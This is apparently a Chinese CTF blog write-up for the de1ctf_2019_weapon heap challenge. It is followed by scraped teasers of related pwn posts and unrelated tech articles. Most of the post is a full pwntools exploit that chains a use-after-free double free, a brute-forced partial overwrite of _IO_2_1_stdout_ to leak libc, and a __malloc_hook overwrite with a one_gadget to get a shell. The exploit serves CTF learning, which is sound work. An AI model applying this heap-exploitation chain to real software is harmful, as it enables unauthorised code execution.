de1ctf_2019_weapon(爆破_IO_2_1_stdout)
(这是我真正意义上的完完全全自己做的第一道堆题目,虽然花了快三个小时,谨以此篇纪念一下)
题目的例行检查我就不放了,将程序放入ida中

程序的逻辑十分简单,漏洞也非常明显

重点是这个程序没有给我们show函数,所以第一时间想到了爆破stdout和house of force这俩方法,但是house of force需要溢出去修改topchunk,所以这个题目使用爆破io_stdout来做
这道题的思路是将chunk在unsorted bin中释放去获得aren的值,要注意因为程序开启得alsr 但是地址得后三位是固定得,所以我们要通过修改aren得值为 _IO_2_1_stdout_-0x43的值 通过爆破一个字节去申请到该位置
我通过在chunk里面嵌套chunk去修改aren的值 然后当我们修改了io_stdout这块位置的值后会打印出libc的值,我们就可以往malloc_hook的值覆盖为one_gadget的值去拿到shell
完整exp如下:
from pwn import *
#p = process('./de1ctf_2019_weapon')
elf = ELF('./de1ctf_2019_weapon')
libc = ELF('./libc-2.23.so')
def launch_gdb():
context.terminal = ['xfce4-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0])
def add(size,index,content):
p.sendlineafter('choice >> ','1')
p.sendlineafter('wlecome input your size of weapon: ',str(size))
p.sendlineafter('input index:',str(index))
p.sendafter('input your name:',content)
def edit(index,content):
p.sendlineafter('choice >>','3')
p.sendlineafter('idx: ',str(index))
p.sendafter('content: ',content)
def free(index):
p.sendlineafter('choice >>','2')
p.sendlineafter('idx :',str(index))
def pwn():
#launch_gdb()
add(0x50,0,'aaaa')
add(0x50,1,b'a'*0x40+p64(0)+p64(0x6f)) #往chunk里面伪造chunk,使uaf的chunk能申请到这里,以便于修改下个chunk的大小
add(0x50,2,'aaaa')
add(0x60,3,'aaaa')
add(0x50,4,'aaaa')
add(0x60,5,'aaaa')
free(0)
free(1)
free(0)
add(0x50,0,'\xb0') #修改fd的值改变了链表结构
add(0x50,1,'aaaa')
add(0x50,0,'aaaa')
add(0x50,7,p64(0)+p64(0xd1)) #注意这里的d1一定不能随便的填,需要能刚好覆盖到下一个chunk的大小
free(2)
free(3)
add(0x50,8,'a') #将修改的0xd1大小的chunk还原
add(0x50,9,'a')
add(0x50,10,'a')
free(2) #这里uaf的chunk也有一点讲究,需要能申请到泄露chunk的上一个位置,不能随便的uaf
free(4)
free(2)
add(0x50,2,'\x10')
add(0x50,4,'aaaa')
add(0x50,2,b'a'*0x40+p64(0)+p64(0x6f)) #修改chunk的内容,以便于下个chunk能申请到0x10的位置
add(0x50,11,p64(0)+p64(0x71)+b'\xdd\x25')
add(0x60,3,'aaaa')
add(0x60,12,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c5600 #爆破io_stdout的值后会将遇到的第一个/x7f打印出来,所以不能直接减去偏移去获得libc——base
if libc_base == -0x3c5600:
exit(-1)
print('libc_base-->'+hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base+one[2]
print('one_gdbget-->'+hex(one_gadget))
add(0x60,13,'a')
add(0x60,14,'a')
add(0x60,15,'a')
free(13)
free(14)
free(13)
add(0x60,13,p64(malloc_hook-0x23))
add(0x60,14,'a')
add(0x60,13,'a')
add(0x60,16,b'a'*0x13+p64(one_gadget))
free(0)
free(0)
p.interactive()
if __name__=='__main__':
while True:
#p=process('./de1ctf_2019_weapon')
p = remote('node4.buuoj.cn','25633')
try:
pwn()
except:
p.close()
(吐槽一下index由自己选择的这种题目是真的麻烦,做了半天给我自己都搞的有点小迷惑)
de1ctf_2019_weapon(爆破_IO_2_1_stdout)的更多相关文章
- tcache poisoning(爆破stout获得libc并且熟练使用了realloc)
这道题目帮助我学习了realloc这个函数,是一道十分经典的题目,我会尽量的把exp的每一步都说清楚 例行检查我就不放了 讲程序放入ida中 比较简单的流程,没有show功能,所有我们需要通过爆破st ...
- 涨知识的一个pwn题:de1ctf_2019_weapon
没做出来,wtcl,看了师傅们的wp才找到思路,收获了很多 怎么说呢,这个题很简单但是很巧妙,逆起来几乎无难度 漏洞点位于free函数,一个简单的UAF漏洞 然后接下来说说我一开始的思路 由于程序没有 ...
- ubuntu进行子域名爆破
好记性不如烂笔头,此处记录一下,ubuntu进行子域名的爆破. 先记录一个在线的子域名爆破网址,无意中发现,很不错的网址,界面很干净,作者也很用心,很感谢. https://phpinfo.me/do ...
- 使用python处理子域名爆破工具subdomainsbrute结果txt
近期学习了一段时间python,结合自己的安全从业经验,越来越感觉到安全测试是一个体力活.如果没有良好的coding能力去自动化的话,无疑会把安全测试效率变得很低. 作为安全测试而言,第一步往往要通过 ...
- 数据库密码爆破HexorBase
数据库密码爆破HexorBase 数据库服务是服务器上最常见的一类服务.由于数据库保存大量的敏感信息,所以它的安全非常重要.测试数据库服务安全的重要方式,就是检查口令的强壮度. Kali Li ...
- metasploit模块字典爆破tomcat
祭出神器MSF 再用auxiliary/scanner/http/tomcat_mgr_login 这个辅助模块爆破下弱口令 这里就用模块自带的字典吧 然后简单配置下.RUN 需要自己定义字典的话 ...
- 爆破一个二元函数加密的cm
系统 : Windows xp 程序 : cztria~1 程序下载地址 :http://pan.baidu.com/s/1slUwmVr 要求 : 爆破 使用工具 : OD 可在看雪论坛中查找关于此 ...
- 初试在线破解工具Hydra爆破3389服务器
hydra是一款全能的暴力破解工具,功能强大,几乎支持所有的协议,是著名黑客组织thc开发的. 在Kali Linux下已经是默认安装的,于是测试爆破一下自己的一台VM虚拟机服务器.hydra还支持G ...
- python黑客编程之端口爆破
#coding:utf-8 from optparse import OptionParser import time,re,sys,threading,Queue import ftplib,soc ...
随机推荐
- Eclipse使用JDBC方式连接SQLServer2008
JDBC_连接数据库一.配置 (一) 通过SQL Server配置管理器配置相关部分: 右键点击,启动tcp/ip协议右键点击属性查看自己的TCP端口号,记住,后面会用到右键点击SQL Server ...
- [loj2461]完美的队列
参考论文,这里一共写了论文中的3种做法,第一种做法为强制在线时的做法,第二种为时间复杂度略高的做法(前两种都无法通过),第三种为本题正解,并给出了一种理论复杂度更优的做法 1.做法1 情况1 $\fo ...
- [noi706]Sabotage
先可以将所有出度为0的节点连向一个点,然后问题变为求到这个点的必经之点这其实是一道模板题,因为有一个东西叫做支配树容易发现一个点的必经之点都是一条链,其实可以把这条链上最浅的点作为这个点的父亲,那么一 ...
- 十.Go并发编程--channel使用
一.设计原理 Go 语言中最常见的.也是经常被人提及的设计模式就是: "不要通过共享内存来通信,我们应该使用通信来共享内存" 通过共享内存来通信是直接读取内存的数据,而通过通信来共 ...
- linux中为何每次修改完配置文件后都需要重新加载配置文件
1.大家刚接触linux时,可能会有这样的疑问:为什么每次修改完配置文件之后,总是要重新加载配置文件才能生效?或者需要重启后才能生效? 之前听过一个解释是这样子的: "修改了文件内容 ...
- spring通过注解注册bean的方式+spring生命周期
spring容器通过注解注册bean的方式 @ComponentScan + 组件标注注解 (@Component/@Service...) @ComponentScan(value = " ...
- sigma网格中水平压力梯度误差及其修正
1.水平梯度误差产生 sigma坐标系下,笛卡尔坐标内水平梯度项对应形式为 \[\begin{equation} \left. \frac{\partial }{\partial x} \right| ...
- 【Perl示例】整合多个文件
这个需求是在生信分析中几乎天天用到,各种语言都能实现,也都各有特点.这次以perl为例. 已知 文件CT-VS-CON.All.xls为全部蛋白表达矩阵及其差异分析结果. 文件Homo_sapiens ...
- 利用plink软件基于LD信息过滤SNP
最近有需求,对WGS测序获得SNP信息进行筛减,可问题是测序个体少,call rate,maf,hwe,等条件过滤后,snp数量还是千万级别,所以后面利用plink工具根据LD信息来滤除大量SNP标记 ...
- 什么是DDL,DML,DCL
转载自 https://www.2cto.com/database/201610/555167.html DML.DDL.DCL区别 . 总体解释: DML(data manipulation la ...